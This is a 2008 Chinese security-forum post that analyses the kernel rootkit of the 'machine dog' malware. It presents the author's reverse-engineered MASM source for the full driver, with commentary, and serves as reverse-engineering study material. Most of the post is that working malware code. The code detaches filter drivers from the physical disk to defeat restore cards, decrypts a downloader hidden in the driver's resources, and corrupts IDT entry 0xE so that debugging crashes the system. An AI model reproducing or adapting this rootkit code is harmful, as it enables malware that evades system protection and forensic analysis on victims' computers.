标 题: RootKit 应用之[一] object hook
作 者: combojiang
时 间: 2008-01-08,11:43
链 接: http://bbs.pediy.com/showthread.php?t=57900
今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook.
这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。希望大家不要将代码用于他途。
对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。。。。。。
信息隐藏亮点之一: 将rootkit作为资源隐藏于用户模式程序之中
亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
亮点之三:用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY。
利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
还要把痕迹擦得一干二净。
亮点之四:修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
反调试的功能。
这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。
突破还原卡原理:在这里他使用的就是object hook大法。
1。IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“""Device""Harddisk0""DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
2。IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。
分析了这么多,我们来看逆向的代码:
.386
.model flat, stdcall
option casemap:none
include pcihdd.inc
.data
aDevicePhysical db '"Device"PhysicalHardDisk0',0
aDosdevicesPhys db '"DosDevices"PhysicalHardDisk0',0
SourceString db '"Device"Harddisk0"DR0',0
g_DeviceObject dd 0
g_AttachedDevice dd 0
DecodeKey dd 1024 dup (0)
DecodeKEY dd 0
P dd 0
NumberOfBytes dd 0
IDTData db 6 dup(0)
Format db '%08X',0
.code
;*******************************************************************************
; 产生一个解密密钥数组
;*******************************************************************************
CreateDecodeKey proc
jmp short $+2 ;花指令
mov ecx, 100h
mov edx, 0CCECC9B1h ;KEY
OutLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
InLoop:
shr eax, 1
jnb ContinueLoop
xor eax, edx
ContinueLoop:
dec ecx
jnz InLoop
pop ecx
mov DecodeKey[ecx*4], eax ;保存解密密钥数组
dec ecx
jnz OutLoop
retn
CreateDecodeKey endp
;*****************************************************************************
; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,该
; 解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(看start)
;*****************************************************************************
DecodeInputData proc near
jmp short $+2 ;花指令
mov eax, 0FFFFFFFFh
or ebx, ebx ;判断IRP.AssociatedIrp.SystemBuffer是否为空
jz Quit
@@:
mov dl, [ebx]
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, DecodeKey[edx*4]
inc ebx
dec ecx
jnz @B
Quit:
not eax
retn
DecodeInputData endp
;************************************************************************
; 在第三级资源中取出资源信息,成功后,返回取出的资源长度
;************************************************************************
SearchResourceByIDInThirdLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch];以名称命名的入口数量
add cx, [esi+0Eh];以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
cmp ecx, 0
jbe Quit
mov ebx, [esi+4] ;offsetToData目录项指针
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;ebx指向IMAGE_RESOURCE_DATA_ENTRY结构
mov eax, [ebx] ;取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
add eax, PEHeader
mov ecx, pOutValue ;pOutValue指向资源数据的地址
mov [ecx], eax
mov ecx, [ebx+4]
mov RetValue, ecx ;返回资源数据的长度
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInThirdLayer endp
;************************************************************************
; 在第二级资源中查找ID为ChildResID的资源项
;************************************************************************
SearchResourceByIDInSecondLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch] ;以名称命名的入口数量
add cx, [esi+0Eh] ;以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchChildDirectoryEntry
ContinueSearchChildDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData目录项指针
test ebx, 80000000h
jz JumpOver ;; 如果最高31位为0,则跳过,继续读下一条目录项
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;否则取下一层地址
mov edx, [esi] ;取目录项字符串指针或者ID
test edx, 80000000h
jnz JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
cmp edx, ChildResID
jnz JumpOver
push pOutValue
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInThirdLayer
mov RetValue, eax
or eax, eax
jz JumpOver
pop ecx
jmp Quit
JumpOver:
add esi, 8
pop ecx
dec ecx
StartSearchChildDirectoryEntry:
cmp ecx, 0
ja ContinueSearchChildDirectoryEntry
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInSecondLayer endp
;******************************************************************************************
; 在第一级资源中搜索ID为RESOURCEID的资源
;******************************************************************************************
SearchResourceByIDInFirstLayer proc PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
LOCAL retvalue:dword
LOCAL ResourceAddr:dword
pusha
xor eax, eax
mov retvalue, eax
mov edi, PEHeader
mov edi, [edi+3Ch]
add edi, PEHeader
mov ecx, [edi+8Ch] ;资源表大小
or ecx, ecx
jz QUIT
mov eax, [edi+88h] ;资源表RVA
add eax, PEHeader
mov ResourceAddr, eax
push eax ; VirtualAddress
call MmIsAddressValid
or eax, eax
jnz @F
jmp QUIT
@@:
mov esi, ResourceAddr
mov cx, [esi+0Ch];以名称命名的入口数量
add cx, [esi+0Eh];以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchDirectoryEntry
ContinueSearchDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData目录项指针
test ebx, 80000000h
jz JumpOver ; 如果最高31位为0,则跳过,继续读下一条目录项
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;保存下一层地址
mov eax, [esi];取目录项字符串指针或者ID
test eax, 80000000h
jnz JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
cmp eax, RESOURCEID
jnz JumpOver
push pOutValue ;找到匹配的资源ID
push ChildResID
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInSecondLayer
mov retvalue, eax
pop ecx
jmp QUIT
JumpOver:
add esi, 8 ;继续读下一条目录项
pop ecx
dec ecx
StartSearchDirectoryEntry:
cmp ecx, 0 ;判断目录块是否遍历完毕
ja ContinueSearchDirectoryEntry
QUIT:
popa
mov eax, retvalue
retn
SearchResourceByIDInFirstLayer endp
; ************************************************************************
; 获取当前驱动文件的内存加载位置,如果没找到,返回0
;*************************************************************************
GetPeHeader proc near
LOCAL PEStart:dword
pusha
mov PEStart, 0
CURRENT_EIP:
lea ebx, CURRENT_EIP
and ebx, 0FFFFFC00h ; 将低10位清零
CHECKPEHEADER: ; VirtualAddress
push ebx
call MmIsAddressValid ;判断当前地址是否有效
or eax, eax
jz QUIT ;不成功则跳转退出
cmp ebx, 80000000h ;如果当前的eip小于等于80000000h,则退出
jbe QUIT
cmp word ptr [ebx], 5A4Dh ; 'MZ'
jnz SEARCHDOSHEADER
mov edi, ebx
add edi, [ebx+3Ch]
push edi ; VirtualAddress
call MmIsAddressValid
or eax, eax
jz SEARCHPEHEADER
cmp word ptr [edi], 4550h ;'PE'
jnz SEARCHPEHEADER
mov PEStart, ebx
jmp QUIT
SEARCHPEHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
jmp QUIT
SEARCHDOSHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
QUIT:
popa
mov eax, PEStart
retn
GetPeHeader endp
; ***************************************************************************
; 检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
; 偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
; 与9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。否则设置E号中断
; 描述符的偏移地址高16位为0.使其指向一个错误的地址。破坏该中断的功能。
; 由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
; 因此这是作者设置的反调式陷阱。
;****************************************************************************
AntiDebug proc near
LOCAL nTemp:dword
pusha
sidt fword ptr IDTData
mov esi, dword ptr IDTData+2 ;取基地址
mov eax, 9 ;index = 9, #interrupt 09
shl eax, 3 ;每个描述符占8字节
add esi, eax ;esi指向9号描述符
movzx eax, word ptr [esi+6] ;取中断函数高16位偏移地址
shl eax, 10h
mov ax, [esi] ;取中断函数低16位偏移地址
and eax, 0FF000000h ;取偏移地址的一个高字节
mov nTemp, eax
test eax, eax
jz QUIT
mov esi, dword ptr IDTData+2 ;取基地址
mov eax, 0Eh ;index = E, #interrupt 0E
shl eax, 3 ;每个描述符占8字节
add esi, eax ;esi指向E号描述符
movzx eax, word ptr [esi+6] ;取中断函数高16位偏移地址
shl eax, 10h
mov ax, [esi] ;取中断函数低16位偏移地址
and eax, 0FF000000h ;取偏移地址的一个高字节
cmp eax, nTemp ;比较这两个中断描述符中的偏移地址高位字节
jz QUIT
mov word ptr [esi+6], 0 ;改中断门偏移地址,设置高16位为0
QUIT:
popa
retn
AntiDebug endp
;************************************************************************************
; 处理IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE请求
; IRP_MJ_CREATE例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
; 调用IoGetDeviceObjectPointer函数得到设备名“""Device""Harddisk0""DR0”的设备对象。
; IRP_MJ_CLOSE 中对恢复DR0上的附加
; IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
; 把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
; 解密后的内容返给用户程序。
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword
LOCAL ObjectName:UNICODE_STRING
LOCAL DestinationString:OEM_STRING
LOCAL FileObject:dword
LOCAL DeviceObject:dword
push edi
push esi
push ebx
mov edi, pIrp
mov dword ptr [edi+1Ch], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
mov dword ptr [edi+18h], 0
mov esi, [edi+60h] ;取IRP.CurrentStackLocation
movzx eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
or eax, eax
jnz IRPMJCLOSE
jmp short $+2 ;花指令
;IRP_MJ_CREATE请求,IRP_MJ_CREATE中会断开"Device"Harddisk0"DR0上附加的设备.
push offset SourceString ; """Device""Harddisk0""DR0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, ObjectName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
xor eax, eax
mov FileObject, eax
mov DeviceObject, eax
lea eax, DeviceObject
push eax ; DeviceObject
lea eax, FileObject
push eax ; FileObject
push 80h ; DesiredAccess
lea eax, ObjectName
push eax ; ObjectName
call IoGetDeviceObjectPointer
mov eax, FileObject
jmp short $+2 ;花指令
mov eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
mov g_DeviceObject, eax
cmp dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
jz ClearAttachedDevice
jmp short $+2 ;花指令
mov ecx, [eax+10h]
xchg ecx, g_AttachedDevice
mov [eax+10h], ecx
ClearAttachedDevice:
push FileObject
call ObDereferenceObject
lea eax, ObjectName
push eax ; UnicodeString
call RtlFreeUnicodeString
jmp Quit
IRPMJCLOSE:
cmp eax, 2
jnz IRPMJDEVICECONTROL
mov eax, g_DeviceObject
or eax, eax
jz Quit
mov ecx, g_AttachedDevice
or ecx, ecx
jz NoAttachedDevice
mov [eax+10h], ecx
NoAttachedDevice:
jmp Quit
IRPMJDEVICECONTROL:
cmp eax, 0Eh
jnz Quit
mov eax, [esi+0Ch]; IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
cmp eax, 0F0003C04h ;判断是否是应用端传进的ctlcode码
jnz Quit
call CreateDecodeKey
mov ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [esi+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
call DecodeInputData
mov DecodeKEY, eax
push DecodeKEY
push offset Format ; "%08X"
call DbgPrint
add esp, 8
mov eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
cmp eax, NumberOfBytes
jbe Quit
mov edi, [edi+3Ch];IRP.UserBuffer
mov esi, P
mov ecx, NumberOfBytes
shr ecx, 2
DecodeResource: ;将资源内容解密输出,反馈给用户
lodsd
xor eax, DecodeKEY
stosd
dec ecx
jnz DecodeResource
mov ecx, NumberOfBytes
and ecx, 3
rep movsb
Quit:
push 0
push pIrp
call IoCompleteRequest
mov eax, 0
pop ebx
pop esi
pop edi
retn
DispatchFunction endp
;******************************************************************
; UnLoad例程
;******************************************************************
PCIHDDUnload proc pDriverObject :dword
LOCAL DestinationString:OEM_STRING
LOCAL SymbolicLinkName:UNICODE_STRING
push edi
push esi
push ebx
pusha
cmp P, 0
jz CONTINUE
push P ; P
call ExFreePool ;释放内存
CONTINUE:
cmp pDriverObject, 0
jz QUIT
push offset aDosdevicesPhys ; """DosDevices""PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
mov edi, pDriverObject
mov esi, [edi+4] ;DeviceObject
jmp IsDeviceExist
DELETEDEVICE:
mov edi, [esi+0Ch];DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
IsDeviceExist:
or esi, esi
jnz DELETEDEVICE
QUIT:
popa
pop ebx
pop esi
pop edi
retn
PCIHDDUnload endp
; **********************************************************************
; 这里是驱动程序的入口处
; **********************************************************************
public start
start proc near
LOCAL nTemp:dword
LOCAL DestinationString:OEM_STRING
LOCAL DeviceObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DeviceName:UNICODE_STRING
LOCAL DriverObject:dword
push edi
push esi
push ebx
pusha
nop
nop
call AntiDebug ;反调试
call GetPeHeader
or eax, eax
jz QUIT ;没找到当前驱动内存加载位置
mov ecx, eax
lea eax, nTemp
push eax
push 3E8h
push 3E8h
push ecx
call SearchResourceByIDInFirstLayer
or eax, eax
jz QUIT
mov NumberOfBytes, eax
push NumberOfBytes ; NumberOfBytes
push 0 ; PoolType
call ExAllocatePool ;根据资源长度申请内存
mov P, eax
jmp short $+2 ;花指令
mov edi, P
mov esi, nTemp
mov ecx, NumberOfBytes
rep movsb ;将资源拷贝到缓冲区
jmp ContinueWork
QUIT:
popa
xor eax, eax
dec eax
pop ebx
pop esi
pop edi
retn
ContinueWork:
jmp short $+2 ;花指令
mov eax, DriverObject
mov dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
lea edi, [eax+38h] ;edi指向MajorFunction
lea eax, DispatchFunction
mov [edi], eax ;IRP_MJ_CREATE EQU 0
mov [edi+8], eax ;IRP_MJ_CLOSE equ 2
mov [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL equ 0Eh 见ntddk.inc
push offset aDevicePhysical ; """Device""PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, DeviceName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
push offset aDosdevicesPhys ; """DosDevices""PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 15h ; DeviceType
lea eax, DeviceName
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push DriverObject; DriverObject
call IoCreateDevice ;创建设备
or eax, eax
jz CreateDeviceSucess
jmp Quit
CreateDeviceSucess:
lea eax, DeviceName
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink ;创建符号链接
or eax, eax
jz Quit
mov edi, DriverObject
mov esi, [edi+4] ;DRIVER_OBJECT.DeviceObject
jmp StartCycle
ContinueDeleteDevice:
mov edi, [esi+0Ch] ;DEVICE_OBJECT.DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
StartCycle:
or esi, esi
jnz ContinueDeleteDevice
jmp short $+2 ;花指令 ,执行退出指令
Quit:
lea eax, DeviceName
push eax ; UnicodeString
call RtlFreeUnicodeString
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
popa
xor eax, eax
pop ebx
pop esi
pop edi
retn
start endp
end start
声明:本贴仅用于学习用途,转贴须声明来自看雪。
友情提示:
阅读本贴之前要详细了解驱动相关的几个结构体,并好好看看驱动版块最近两天发表的几个帖子。